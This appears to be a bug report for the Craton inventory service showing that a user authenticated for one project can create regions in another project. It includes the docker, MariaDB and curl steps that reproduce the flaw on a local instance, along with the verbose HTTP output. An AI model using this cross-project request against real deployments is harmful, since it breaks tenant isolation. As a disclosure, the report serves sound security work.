User can create resources in another project

Using 2e1a40ec92df95c0b6bedd7990d0bae172fe0c9e in craton, if you build the docker container and run it and then attach, e.g.,

    docker exec -it <container-id-from-docker-ps> bash

You can then add a new project:

    # mysql -u root
    MariaDB [(none)]> use craton;
    MariaDB [craton]> insert into projects (created_at, updated_at, name) values (NOW(), NOW(), "is_secure?");
    MariaDB [craton]> select * from projects;
    +---------------------+---------------------+----+-------------------------+------------+
    | created_at | updated_at | id | variable_association_id | name |
    +---------------------+---------------------+----+-------------------------+------------+
    | 2016-09-29 12:50:05 | 2016-09-29 12:50:05 | 1 | NULL | demo |
    | 2016-09-29 12:51:40 | 2016-09-29 12:51:40 | 2 | NULL | is_secure? |
    +---------------------+---------------------+----+-------------------------+------------+
    2 rows in set (0.00 sec)

With that new project you can now create regions:

    # curl -ivv -H 'X-Auth-Token: demo' -H 'X-Auth-User: demo' -H 'X-Auth-Project: 1' http://localhost:8080/v1/regions -XPOST -d '{"name":"lol","project_id":2}' -H "Content-Type: application/json"
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying ::1...
* connect to ::1 port 8080 failed: Connection refused
* Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> POST /v1/regions HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
> X-Auth-Token: demo
> X-Auth-User: demo
> X-Auth-Project: 1
> Content-Type: application/json
> Content-Length: 29
>
* upload completely sent off: 29 out of 29 bytes
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
HTTP/1.0 200 OK
< Date: Thu, 29 Sep 2016 12:55:22 GMT
Date: Thu, 29 Sep 2016 12:55:22 GMT
< Server: WSGIServer/0.2 CPython/3.5.2
Server: WSGIServer/0.2 CPython/3.5.2
< Content-Type: application/json
Content-Type: application/json
< Content-Length: 56
Content-Length: 56
< x-openstack-request-id: req-851d1362-b207-479e-b8de-6539ba9d755d
x-openstack-request-id: req-851d1362-b207-479e-b8de-6539ba9d755d

<
{"id": 2, "name": "lol", "note": null, "project_id": 2}
* Closing connection 0

In other words, users who should only be able to create resources in their given project (in this case project-id 1) can create resources for other projects.